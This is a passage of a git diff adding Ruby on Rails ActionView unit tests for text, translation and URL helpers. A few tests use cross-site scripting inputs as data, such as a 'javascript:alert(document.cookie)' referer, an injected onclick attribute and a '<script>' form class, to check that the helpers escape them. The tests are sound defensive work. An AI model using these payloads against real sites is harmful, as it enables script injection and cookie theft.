+    assert_equal("...\357\254\203ciency could not be...".dup.force_encoding(Encoding::UTF_8), excerpt("That's why e\357\254\203ciency could not be helped".dup.force_encoding(Encoding::UTF_8), "could", radius: 8))
+  end
+
+  def test_excerpt_does_not_modify_the_options_hash
+    options = { omission: "[...]", radius: 5 }
+    passed_options = options.dup
+    excerpt("This is a beautiful morning", "beautiful", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_excerpt_with_separator
+    options = { separator: " ", radius: 1 }
+    assert_equal("...a very beautiful...", excerpt("This is a very beautiful morning", "very", options))
+    assert_equal("This is...", excerpt("This is a very beautiful morning", "this", options))
+    assert_equal("...beautiful morning", excerpt("This is a very beautiful morning", "morning", options))
+
+    options = { separator: "\n", radius: 0 }
+    assert_equal("...very long...", excerpt("my very\nvery\nvery long\nstring", "long", options))
+
+    options = { separator: "\n", radius: 1 }
+    assert_equal("...very\nvery long\nstring", excerpt("my very\nvery\nvery long\nstring", "long", options))
+
+    assert_equal excerpt("This is a beautiful morning", "a"),
+                 excerpt("This is a beautiful morning", "a", separator: nil)
+  end
+
+  def test_word_wrap
+    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", line_width: 15))
+  end
+
+  def test_word_wrap_with_extra_newlines
+    assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", line_width: 15))
+  end
+
+  def test_word_wrap_does_not_modify_the_options_hash
+    options = { line_width: 15 }
+    passed_options = options.dup
+    word_wrap("some text", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_word_wrap_with_custom_break_sequence
+    assert_equal("1234567890\r\n1234567890\r\n1234567890", word_wrap("1234567890 " * 3, line_width: 2, break_sequence: "\r\n"))
+  end
+
+  def test_pluralization
+    assert_equal("1 count", pluralize(1, "count"))
+    assert_equal("2 counts", pluralize(2, "count"))
+    assert_equal("1 count", pluralize("1", "count"))
+    assert_equal("2 counts", pluralize("2", "count"))
+    assert_equal("1,066 counts", pluralize("1,066", "count"))
+    assert_equal("1.25 counts", pluralize("1.25", "count"))
+    assert_equal("1.0 count", pluralize("1.0", "count"))
+    assert_equal("1.00 count", pluralize("1.00", "count"))
+    assert_equal("2 counters", pluralize(2, "count", "counters"))
+    assert_equal("0 counters", pluralize(nil, "count", "counters"))
+    assert_equal("2 counters", pluralize(2, "count", plural: "counters"))
+    assert_equal("0 counters", pluralize(nil, "count", plural: "counters"))
+    assert_equal("2 people", pluralize(2, "person"))
+    assert_equal("10 buffaloes", pluralize(10, "buffalo"))
+    assert_equal("1 berry", pluralize(1, "berry"))
+    assert_equal("12 berries", pluralize(12, "berry"))
+  end
+
+  def test_localized_pluralization
+    old_locale = I18n.locale
+
+    begin
+      I18n.locale = :de
+
+      ActiveSupport::Inflector.inflections(:de) do |inflect|
+        inflect.irregular "region", "regionen"
+      end
+
+      assert_equal("1 region",   pluralize(1, "region"))
+      assert_equal("2 regionen", pluralize(2, "region"))
+      assert_equal("2 regions",  pluralize(2, "region", locale: :en))
+    ensure
+      I18n.locale = old_locale
+    end
+  end
+
+  def test_cycle_class
+    value = Cycle.new("one", 2, "3")
+    assert_equal("one", value.to_s)
+    assert_equal("2", value.to_s)
+    assert_equal("3", value.to_s)
+    assert_equal("one", value.to_s)
+    value.reset
+    assert_equal("one", value.to_s)
+    assert_equal("2", value.to_s)
+    assert_equal("3", value.to_s)
+  end
+
+  def test_cycle_class_with_no_arguments
+    assert_raise(ArgumentError) { Cycle.new }
+  end
+
+  def test_cycle
+    assert_equal("one", cycle("one", 2, "3"))
+    assert_equal("2", cycle("one", 2, "3"))
+    assert_equal("3", cycle("one", 2, "3"))
+    assert_equal("one", cycle("one", 2, "3"))
+    assert_equal("2", cycle("one", 2, "3"))
+    assert_equal("3", cycle("one", 2, "3"))
+  end
+
+  def test_cycle_with_array
+    array = [1, 2, 3]
+    assert_equal("1", cycle(array))
+    assert_equal("2", cycle(array))
+    assert_equal("3", cycle(array))
+  end
+
+  def test_cycle_with_no_arguments
+    assert_raise(ArgumentError) { cycle }
+  end
+
+  def test_cycle_resets_with_new_values
+    assert_equal("even", cycle("even", "odd"))
+    assert_equal("odd", cycle("even", "odd"))
+    assert_equal("even", cycle("even", "odd"))
+    assert_equal("1", cycle(1, 2, 3))
+    assert_equal("2", cycle(1, 2, 3))
+    assert_equal("3", cycle(1, 2, 3))
+    assert_equal("1", cycle(1, 2, 3))
+  end
+
+  def test_named_cycles
+    assert_equal("1", cycle(1, 2, 3, name: "numbers"))
+    assert_equal("red", cycle("red", "blue", name: "colors"))
+    assert_equal("2", cycle(1, 2, 3, name: "numbers"))
+    assert_equal("blue", cycle("red", "blue", name: "colors"))
+    assert_equal("3", cycle(1, 2, 3, name: "numbers"))
+    assert_equal("red", cycle("red", "blue", name: "colors"))
+  end
+
+  def test_current_cycle_with_default_name
+    cycle("even", "odd")
+    assert_equal "even", current_cycle
+    cycle("even", "odd")
+    assert_equal "odd", current_cycle
+    cycle("even", "odd")
+    assert_equal "even", current_cycle
+  end
+
+  def test_current_cycle_with_named_cycles
+    cycle("red", "blue", name: "colors")
+    assert_equal "red", current_cycle("colors")
+    cycle("red", "blue", name: "colors")
+    assert_equal "blue", current_cycle("colors")
+    cycle("red", "blue", name: "colors")
+    assert_equal "red", current_cycle("colors")
+  end
+
+  def test_current_cycle_safe_call
+    assert_nothing_raised { current_cycle }
+    assert_nothing_raised { current_cycle("colors") }
+  end
+
+  def test_current_cycle_with_more_than_two_names
+    cycle(1, 2, 3)
+    assert_equal "1", current_cycle
+    cycle(1, 2, 3)
+    assert_equal "2", current_cycle
+    cycle(1, 2, 3)
+    assert_equal "3", current_cycle
+    cycle(1, 2, 3)
+    assert_equal "1", current_cycle
+  end
+
+  def test_default_named_cycle
+    assert_equal("1", cycle(1, 2, 3))
+    assert_equal("2", cycle(1, 2, 3, name: "default"))
+    assert_equal("3", cycle(1, 2, 3))
+  end
+
+  def test_reset_cycle
+    assert_equal("1", cycle(1, 2, 3))
+    assert_equal("2", cycle(1, 2, 3))
+    reset_cycle
+    assert_equal("1", cycle(1, 2, 3))
+  end
+
+  def test_reset_unknown_cycle
+    reset_cycle("colors")
+  end
+
+  def test_reset_named_cycle
+    assert_equal("1", cycle(1, 2, 3, name: "numbers"))
+    assert_equal("red", cycle("red", "blue", name: "colors"))
+    reset_cycle("numbers")
+    assert_equal("1", cycle(1, 2, 3, name: "numbers"))
+    assert_equal("blue", cycle("red", "blue", name: "colors"))
+    assert_equal("2", cycle(1, 2, 3, name: "numbers"))
+    assert_equal("red", cycle("red", "blue", name: "colors"))
+  end
+
+  def test_cycle_no_instance_variable_clashes
+    @cycles = %w{Specialized Fuji Giant}
+    assert_equal("red", cycle("red", "blue"))
+    assert_equal("blue", cycle("red", "blue"))
+    assert_equal("red", cycle("red", "blue"))
+    assert_equal(%w{Specialized Fuji Giant}, @cycles)
+  end
+end
diff --git a/actionview/test/template/text_test.rb b/actionview/test/template/text_test.rb
new file mode 100644
index 0000000000..0c6470df21
--- /dev/null
+++ b/actionview/test/template/text_test.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TextTest < ActiveSupport::TestCase
+  test "formats always return :text" do
+    assert_equal [:text], ActionView::Template::Text.new("").formats
+  end
+
+  test "identifier should return 'text template'" do
+    assert_equal "text template", ActionView::Template::Text.new("").identifier
+  end
+
+  test "inspect should return 'text template'" do
+    assert_equal "text template", ActionView::Template::Text.new("").inspect
+  end
+
+  test "to_str should return a given string" do
+    assert_equal "a cat", ActionView::Template::Text.new("a cat").to_str
+  end
+
+  test "render should return a given string" do
+    assert_equal "a dog", ActionView::Template::Text.new("a dog").render
+  end
+end
diff --git a/actionview/test/template/translation_helper_test.rb b/actionview/test/template/translation_helper_test.rb
new file mode 100644
index 0000000000..8956a584ff
--- /dev/null
+++ b/actionview/test/template/translation_helper_test.rb
@@ -0,0 +1,238 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module I18n
+  class CustomExceptionHandler
+    def self.call(exception, locale, key, options)
+      "from CustomExceptionHandler"
+    end
+  end
+end
+
+class TranslationHelperTest < ActiveSupport::TestCase
+  include ActionView::Helpers::TranslationHelper
+
+  attr_reader :request, :view
+
+  setup do
+    I18n.backend.store_translations(:en,
+      translations: {
+        templates: {
+          found: { foo: "Foo" },
+          array: { foo: { bar: "Foo Bar" } },
+          default: { foo: "Foo" }
+        },
+        foo: "Foo",
+        hello: "<a>Hello World</a>",
+        html: "<a>Hello World</a>",
+        hello_html: "<a>Hello World</a>",
+        interpolated_html: "<a>Hello %{word}</a>",
+        array_html: %w(foo bar),
+        array: %w(foo bar),
+        count_html: {
+          one: "<a>One %{count}</a>",
+          other: "<a>Other %{count}</a>"
+        }
+      }
+    )
+    @view = ::ActionView::Base.new(ActionController::Base.view_paths, {})
+  end
+
+  teardown do
+    I18n.backend.reload!
+  end
+
+  def test_delegates_setting_to_i18n
+    assert_called_with(I18n, :translate, [:foo, locale: "en", raise: true], returns: "") do
+      translate :foo, locale: "en"
+    end
+  end
+
+  def test_delegates_localize_to_i18n
+    @time = Time.utc(2008, 7, 8, 12, 18, 38)
+    assert_called_with(I18n, :localize, [@time]) do
+      localize @time
+    end
+  end
+
+  def test_returns_missing_translation_message_without_span_wrap
+    old_value = ActionView::Base.debug_missing_translation
+    ActionView::Base.debug_missing_translation = false
+
+    expected = "translation missing: en.translations.missing"
+    assert_equal expected, translate(:"translations.missing")
+  ensure
+    ActionView::Base.debug_missing_translation = old_value
+  end
+
+  def test_returns_missing_translation_message_wrapped_into_span
+    expected = '<span class="translation_missing" title="translation missing: en.translations.missing">Missing</span>'
+    assert_equal expected, translate(:"translations.missing")
+    assert_equal true, translate(:"translations.missing").html_safe?
+  end
+
+  def test_returns_missing_translation_message_with_unescaped_interpolation
+    expected = '<span class="translation_missing" title="translation missing: en.translations.missing, name: Kir, year: 2015, vulnerable: &amp;quot; onclick=&amp;quot;alert()&amp;quot;">Missing</span>'
+    assert_equal expected, translate(:"translations.missing", name: "Kir", year: "2015", vulnerable: %{" onclick="alert()"})
+    assert translate(:"translations.missing").html_safe?
+  end
+
+  def test_returns_missing_translation_message_does_filters_out_i18n_options
+    expected = '<span class="translation_missing" title="translation missing: en.translations.missing, year: 2015">Missing</span>'
+    assert_equal expected, translate(:"translations.missing", year: "2015", default: [])
+
+    expected = '<span class="translation_missing" title="translation missing: en.scoped.translations.missing, year: 2015">Missing</span>'
+    assert_equal expected, translate(:"translations.missing", year: "2015", scope: %i(scoped))
+  end
+
+  def test_raises_missing_translation_message_with_raise_config_option
+    ActionView::Base.raise_on_missing_translations = true
+
+    assert_raise(I18n::MissingTranslationData) do
+      translate("translations.missing")
+    end
+  ensure
+    ActionView::Base.raise_on_missing_translations = false
+  end
+
+  def test_raises_missing_translation_message_with_raise_option
+    assert_raise(I18n::MissingTranslationData) do
+      translate(:"translations.missing", raise: true)
+    end
+  end
+
+  def test_uses_custom_exception_handler_when_specified
+    old_exception_handler = I18n.exception_handler
+    I18n.exception_handler = I18n::CustomExceptionHandler
+    assert_equal "from CustomExceptionHandler", translate(:"translations.missing", raise: false)
+  ensure
+    I18n.exception_handler = old_exception_handler
+  end
+
+  def test_uses_custom_exception_handler_when_specified_for_html
+    old_exception_handler = I18n.exception_handler
+    I18n.exception_handler = I18n::CustomExceptionHandler
+    assert_equal "from CustomExceptionHandler", translate(:"translations.missing_html", raise: false)
+  ensure
+    I18n.exception_handler = old_exception_handler
+  end
+
+  def test_translation_returning_an_array
+    expected = %w(foo bar)
+    assert_equal expected, translate(:"translations.array")
+  end
+
+  def test_finds_translation_scoped_by_partial
+    assert_equal "Foo", view.render(file: "translations/templates/found").strip
+  end
+
+  def test_finds_array_of_translations_scoped_by_partial
+    assert_equal "Foo Bar", @view.render(file: "translations/templates/array").strip
+  end
+
+  def test_default_lookup_scoped_by_partial
+    assert_equal "Foo", view.render(file: "translations/templates/default").strip
+  end
+
+  def test_missing_translation_scoped_by_partial
+    expected = '<span class="translation_missing" title="translation missing: en.translations.templates.missing.missing">Missing</span>'
+    assert_equal expected, view.render(file: "translations/templates/missing").strip
+  end
+
+  def test_translate_does_not_mark_plain_text_as_safe_html
+    assert_equal false, translate(:'translations.hello').html_safe?
+  end
+
+  def test_translate_marks_translations_named_html_as_safe_html
+    assert translate(:'translations.html').html_safe?
+  end
+
+  def test_translate_marks_translations_with_a_html_suffix_as_safe_html
+    assert translate(:'translations.hello_html').html_safe?
+  end
+
+  def test_translate_escapes_interpolations_in_translations_with_a_html_suffix
+    word_struct = Struct.new(:to_s)
+    assert_equal "<a>Hello &lt;World&gt;</a>", translate(:'translations.interpolated_html', word: "<World>")
+    assert_equal "<a>Hello &lt;World&gt;</a>", translate(:'translations.interpolated_html', word: word_struct.new("<World>"))
+  end
+
+  def test_translate_with_html_count
+    assert_equal "<a>One 1</a>", translate(:'translations.count_html', count: 1)
+    assert_equal "<a>Other 2</a>", translate(:'translations.count_html', count: 2)
+    assert_equal "<a>Other &lt;One&gt;</a>", translate(:'translations.count_html', count: "<One>")
+  end
+
+  def test_translation_returning_an_array_ignores_html_suffix
+    assert_equal ["foo", "bar"], translate(:'translations.array_html')
+  end
+
+  def test_translate_with_default_named_html
+    translation = translate(:'translations.missing', default: :'translations.hello_html')
+    assert_equal "<a>Hello World</a>", translation
+    assert_equal true, translation.html_safe?
+  end
+
+  def test_translate_with_missing_default
+    translation = translate(:'translations.missing', default: :'translations.missing_html')
+    expected = '<span class="translation_missing" title="translation missing: en.translations.missing_html">Missing Html</span>'
+    assert_equal expected, translation
+    assert_equal true, translation.html_safe?
+  end
+
+  def test_translate_with_missing_default_and_raise_option
+    assert_raise(I18n::MissingTranslationData) do
+      translate(:'translations.missing', default: :'translations.missing_html', raise: true)
+    end
+  end
+
+  def test_translate_with_two_defaults_named_html
+    translation = translate(:'translations.missing', default: [:'translations.missing_html', :'translations.hello_html'])
+    assert_equal "<a>Hello World</a>", translation
+    assert_equal true, translation.html_safe?
+  end
+
+  def test_translate_with_last_default_named_html
+    translation = translate(:'translations.missing', default: [:'translations.missing', :'translations.hello_html'])
+    assert_equal "<a>Hello World</a>", translation
+    assert_equal true, translation.html_safe?
+  end
+
+  def test_translate_with_last_default_not_named_html
+    translation = translate(:'translations.missing', default: [:'translations.missing_html', :'translations.foo'])
+    assert_equal "Foo", translation
+    assert_equal false, translation.html_safe?
+  end
+
+  def test_translate_with_string_default
+    translation = translate(:'translations.missing', default: "A Generic String")
+    assert_equal "A Generic String", translation
+  end
+
+  def test_translate_with_object_default
+    translation = translate(:'translations.missing', default: 123)
+    assert_equal 123, translation
+  end
+
+  def test_translate_with_array_of_string_defaults
+    translation = translate(:'translations.missing', default: ["A Generic String", "Second generic string"])
+    assert_equal "A Generic String", translation
+  end
+
+  def test_translate_with_array_of_defaults_with_nil
+    translation = translate(:'translations.missing', default: [:'also_missing', nil, "A Generic String"])
+    assert_equal "A Generic String", translation
+  end
+
+  def test_translate_with_array_of_array_default
+    translation = translate(:'translations.missing', default: [[]])
+    assert_equal [], translation
+  end
+
+  def test_translate_does_not_change_options
+    options = {}
+    translate(:'translations.missing', options)
+    assert_equal({}, options)
+  end
+end
diff --git a/actionview/test/template/url_helper_test.rb b/actionview/test/template/url_helper_test.rb
new file mode 100644
index 0000000000..0cd0386cac
--- /dev/null
+++ b/actionview/test/template/url_helper_test.rb
@@ -0,0 +1,969 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class UrlHelperTest < ActiveSupport::TestCase
+  # In a few cases, the helper proxies to 'controller'
+  # or request.
+  #
+  # In those cases, we'll set up a simple mock
+  attr_accessor :controller, :request
+
+  cattr_accessor :request_forgery, default: false
+
+  routes = ActionDispatch::Routing::RouteSet.new
+  routes.draw do
+    get "/" => "foo#bar"
+    get "/other" => "foo#other"
+    get "/article/:id" => "foo#article", :as => :article
+    get "/category/:category" => "foo#category"
+
+    scope :engine do
+      get "/" => "foo#bar"
+    end
+  end
+
+  include ActionView::Helpers::UrlHelper
+  include routes.url_helpers
+
+  include ActionView::Helpers::JavaScriptHelper
+  include Rails::Dom::Testing::Assertions::DomAssertions
+  include ActionView::Context
+  include RenderERBUtils
+
+  setup :_prepare_context
+
+  def hash_for(options = {})
+    { controller: "foo", action: "bar" }.merge!(options)
+  end
+  alias url_hash hash_for
+
+  def test_url_for_does_not_escape_urls
+    assert_equal "/?a=b&c=d", url_for(hash_for(a: :b, c: :d))
+  end
+
+  def test_url_for_does_not_include_empty_hashes
+    assert_equal "/", url_for(hash_for(a: {}))
+  end
+
+  def test_url_for_with_back
+    referer = "http://www.example.com/referer"
+    @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
+
+    assert_equal "http://www.example.com/referer", url_for(:back)
+  end
+
+  def test_url_for_with_back_and_no_referer
+    @controller = Struct.new(:request).new(Struct.new(:env).new({}))
+    assert_equal "javascript:history.back()", url_for(:back)
+  end
+
+  def test_url_for_with_back_and_no_controller
+    @controller = nil
+    assert_equal "javascript:history.back()", url_for(:back)
+  end
+
+  def test_url_for_with_back_and_javascript_referer
+    referer = "javascript:alert(document.cookie)"
+    @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
+    assert_equal "javascript:history.back()", url_for(:back)
+  end
+
+  def test_url_for_with_invalid_referer
+    referer = "THIS IS NOT A URL"
+    @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
+    assert_equal "javascript:history.back()", url_for(:back)
+  end
+
+  def test_to_form_params_with_hash
+    assert_equal(
+      [{ name: :name, value: "David" }, { name: :nationality, value: "Danish" }],
+      to_form_params(name: "David", nationality: "Danish")
+    )
+  end
+
+  def test_to_form_params_with_nested_hash
+    assert_equal(
+      [{ name: "country[name]", value: "Denmark" }],
+      to_form_params(country: { name: "Denmark" })
+    )
+  end
+
+  def test_to_form_params_with_array_nested_in_hash
+    assert_equal(
+      [{ name: "countries[]", value: "Denmark" }, { name: "countries[]", value: "Sweden" }],
+      to_form_params(countries: ["Denmark", "Sweden"])
+    )
+  end
+
+  def test_to_form_params_with_namespace
+    assert_equal(
+      [{ name: "country[name]", value: "Denmark" }],
+      to_form_params({ name: "Denmark" }, "country")
+    )
+  end
+
+  def test_button_to_with_straight_url
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com")
+  end
+
+  def test_button_to_with_path
+    assert_dom_equal(
+      %{<form method="post" action="/article/Hello" class="button_to"><input type="submit" value="Hello" /></form>},
+      button_to("Hello", article_path("Hello"))
+    )
+  end
+
+  def test_button_to_with_straight_url_and_request_forgery
+    self.request_forgery = true
+
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></form>},
+      button_to("Hello", "http://www.example.com")
+    )
+  ensure
+    self.request_forgery = false
+  end
+
+  def test_button_to_with_form_class
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com", form_class: "custom-class")
+  end
+
+  def test_button_to_with_form_class_escapes
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="&lt;script&gt;evil_js&lt;/script&gt;"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com", form_class: "<script>evil_js</script>")
+  end
+
+  def test_button_to_with_query
+    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
+  end
+
+  def test_button_to_with_html_safe_URL
+    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", raw("http://www.example.com/q1=v1&amp;q2=v2"))
+  end
+
+  def test_button_to_with_query_and_no_name
+    assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="http://www.example.com?q1=v1&amp;q2=v2" /></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
+  end
+
+  def test_button_to_with_javascript_confirm
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><input data-confirm="Are you sure?" type="submit" value="Hello" /></form>},
+      button_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
+    )
+  end
+
+  def test_button_to_with_javascript_disable_with
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><input data-disable-with="Greeting..." type="submit" value="Hello" /></form>},
+      button_to("Hello", "http://www.example.com", data: { disable_with: "Greeting..." })
+    )
+  end
+
+  def test_button_to_with_remote_and_form_options
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><input type="submit" value="Hello" /></form>},
+      button_to("Hello", "http://www.example.com", remote: true, form: { class: "custom-class", "data-type" => "json" })
+    )
+  end
+
+  def test_button_to_with_remote_and_javascript_confirm
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><input data-confirm="Are you sure?" type="submit" value="Hello" /></form>},
+      button_to("Hello", "http://www.example.com", remote: true, data: { confirm: "Are you sure?" })
+    )
+  end
+
+  def test_button_to_with_remote_and_javascript_disable_with
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><input data-disable-with="Greeting..." type="submit" value="Hello" /></form>},
+      button_to("Hello", "http://www.example.com", remote: true, data: { disable_with: "Greeting..." })
+    )
+  end
+
+  def test_button_to_with_remote_false
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
+      button_to("Hello", "http://www.example.com", remote: false)
+    )
+  end
+
+  def test_button_to_enabled_disabled
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
+      button_to("Hello", "http://www.example.com", disabled: false)
+    )
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><input disabled="disabled" type="submit" value="Hello" /></form>},
+      button_to("Hello", "http://www.example.com", disabled: true)
+    )
+  end
+
+  def test_button_to_with_method_delete
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></form>},
+      button_to("Hello", "http://www.example.com", method: :delete)
+    )
+  end
+
+  def test_button_to_with_method_get
+    assert_dom_equal(
+      %{<form method="get" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
+      button_to("Hello", "http://www.example.com", method: :get)
+    )
+  end
+
+  def test_button_to_with_block
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit"><span>Hello</span></button></form>},
+      button_to("http://www.example.com") { content_tag(:span, "Hello") }
+    )
+  end
+
+  def test_button_to_with_params
+    assert_dom_equal(
+      %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="baz" value="quux" /><input type="hidden" name="foo" value="bar" /></form>},
+      button_to("Hello", "http://www.example.com", params: { foo: :bar, baz: "quux" })
+    )
+  end
+
+  class FakeParams
+    def initialize(permitted = true)
+      @permitted = permitted
+    end
+
+    def permitted?
+      @permitted
+    end
+
+    def to_h
+      if permitted?
+        { foo: :bar, baz: "quux" }
+      else
+        raise ArgumentError
+      end
+    end
+  end
+
+  def test_button_to_with_permitted_strong_params
+    assert_dom_equal(
+      %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="baz" value="quux" /><input type="hidden" name="foo" value="bar" /></form>},
+      button_to("Hello", "http://www.example.com", params: FakeParams.new)
+    )
+  end
+
+  def test_button_to_with_unpermitted_strong_params
+    assert_raises(ArgumentError) do
+      button_to("Hello", "http://www.example.com", params: FakeParams.new(false))
+    end
+  end
+
+  def test_button_to_with_nested_hash_params
+    assert_dom_equal(
+      %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="foo[bar]" value="baz" /></form>},
+      button_to("Hello", "http://www.example.com", params: { foo: { bar: "baz" } })
+    )
+  end
+
+  def test_button_to_with_nested_array_params
+    assert_dom_equal(
+      %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="foo[]" value="bar" /></form>},
+      button_to("Hello", "http://www.example.com", params: { foo: ["bar"] })
+    )
+  end
+
+  def test_link_tag_with_straight_url
+    assert_dom_equal %{<a href="http://www.example.com">Hello</a>}, link_to("Hello", "http://www.example.com")
+  end
+
+  def test_link_tag_without_host_option
+    assert_dom_equal(%{<a href="/">Test Link</a>}, link_to("Test Link", url_hash))
+  end
+
+  def test_link_tag_with_host_option
+    hash = hash_for(host: "www.example.com")
+    expected = %{<a href="http://www.example.com/">Test Link</a>}
+    assert_dom_equal(expected, link_to("Test Link", hash))
+  end
+
+  def test_link_tag_with_query
+    expected = %{<a href="http://www.example.com?q1=v1&amp;q2=v2">Hello</a>}
+    assert_dom_equal expected, link_to("Hello", "http://www.example.com?q1=v1&q2=v2")
+  end
+
+  def test_link_tag_with_query_and_no_name
+    expected = %{<a href="http://www.example.com?q1=v1&amp;q2=v2">http://www.example.com?q1=v1&amp;q2=v2</a>}
+    assert_dom_equal expected, link_to(nil, "http://www.example.com?q1=v1&q2=v2")
+  end
+
+  def test_link_tag_with_back
+    env = { "HTTP_REFERER" => "http://www.example.com/referer" }
+    @controller = Struct.new(:request).new(Struct.new(:env).new(env))
+    expected = %{<a href="#{env["HTTP_REFERER"]}">go back</a>}
+    assert_dom_equal expected, link_to("go back", :back)
+  end
+
+  def test_link_tag_with_back_and_no_referer
+    @controller = Struct.new(:request).new(Struct.new(:env).new({}))
+    link = link_to("go back", :back)
+    assert_dom_equal %{<a href="javascript:history.back()">go back</a>}, link
+  end
+
+  def test_link_tag_with_img
+    link = link_to(raw("<img src='/favicon.jpg' />"), "/")
+    expected = %{<a href="/"><img src='/favicon.jpg' /></a>}
+    assert_dom_equal expected, link
+  end
+
+  def test_link_with_nil_html_options
+    link = link_to("Hello", url_hash, nil)
+    assert_dom_equal %{<a href="/">Hello</a>}, link
+  end
+
+  def test_link_tag_with_custom_onclick
+    link = link_to("Hello", "http://www.example.com", onclick: "alert('yay!')")
+    expected = %{<a href="http://www.example.com" onclick="alert(&#39;yay!&#39;)">Hello</a>}
+    assert_dom_equal expected, link
+  end
+
+  def test_link_tag_with_javascript_confirm
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-confirm="Are you sure?">Hello</a>},
+      link_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
+    )
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-confirm="You cant possibly be sure, can you?">Hello</a>},
+      link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure, can you?" })
+    )
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-confirm="You cant possibly be sure,\n can you?">Hello</a>},
+      link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure,\n can you?" })
+    )
+  end
+
+  def test_link_to_with_remote
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-remote="true">Hello</a>},
+      link_to("Hello", "http://www.example.com", remote: true)
+    )
+  end
+
+  def test_link_to_with_remote_false
+    assert_dom_equal(
+      %{<a href="http://www.example.com">Hello</a>},
+      link_to("Hello", "http://www.example.com", remote: false)
+    )
+  end
+
+  def test_link_to_with_symbolic_remote_in_non_html_options
+    assert_dom_equal(
+      %{<a href="/" data-remote="true">Hello</a>},
+      link_to("Hello", hash_for(remote: true), {})
+    )
+  end
+
+  def test_link_to_with_string_remote_in_non_html_options
+    assert_dom_equal(
+      %{<a href="/" data-remote="true">Hello</a>},
+      link_to("Hello", hash_for("remote" => true), {})
+    )
+  end
+
+  def test_link_tag_using_post_javascript
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-method="post" rel="nofollow">Hello</a>},
+      link_to("Hello", "http://www.example.com", method: :post)
+    )
+  end
+
+  def test_link_tag_using_delete_javascript
+    assert_dom_equal(
+      %{<a href="http://www.example.com" rel="nofollow" data-method="delete">Destroy</a>},
+      link_to("Destroy", "http://www.example.com", method: :delete)
+    )
+  end
+
+  def test_link_tag_using_delete_javascript_and_href
+    assert_dom_equal(
+      %{<a href="\#" rel="nofollow" data-method="delete">Destroy</a>},
+      link_to("Destroy", "http://www.example.com", method: :delete, href: "#")
+    )
+  end
+
+  def test_link_tag_using_post_javascript_and_rel
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-method="post" rel="example nofollow">Hello</a>},
+      link_to("Hello", "http://www.example.com", method: :post, rel: "example")
+    )
+  end
+
+  def test_link_tag_using_post_javascript_and_confirm
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-method="post" rel="nofollow" data-confirm="Are you serious?">Hello</a>},
+      link_to("Hello", "http://www.example.com", method: :post, data: { confirm: "Are you serious?" })
+    )
+  end
+
+  def test_link_tag_using_delete_javascript_and_href_and_confirm
+    assert_dom_equal(
+      %{<a href="\#" rel="nofollow" data-confirm="Are you serious?" data-method="delete">Destroy</a>},
+      link_to("Destroy", "http://www.example.com", method: :delete, href: "#", data: { confirm: "Are you serious?" })
+    )
+  end
+
+  def test_link_tag_with_block
+    assert_dom_equal %{<a href="/"><span>Example site</span></a>},
+      link_to("/") { content_tag(:span, "Example site") }
+  end
+
+  def test_link_tag_with_block_and_html_options
+    assert_dom_equal %{<a class="special" href="/"><span>Example site</span></a>},
+      link_to("/", class: "special") { content_tag(:span, "Example site") }
+  end
+
+  def test_link_tag_using_block_and_hash
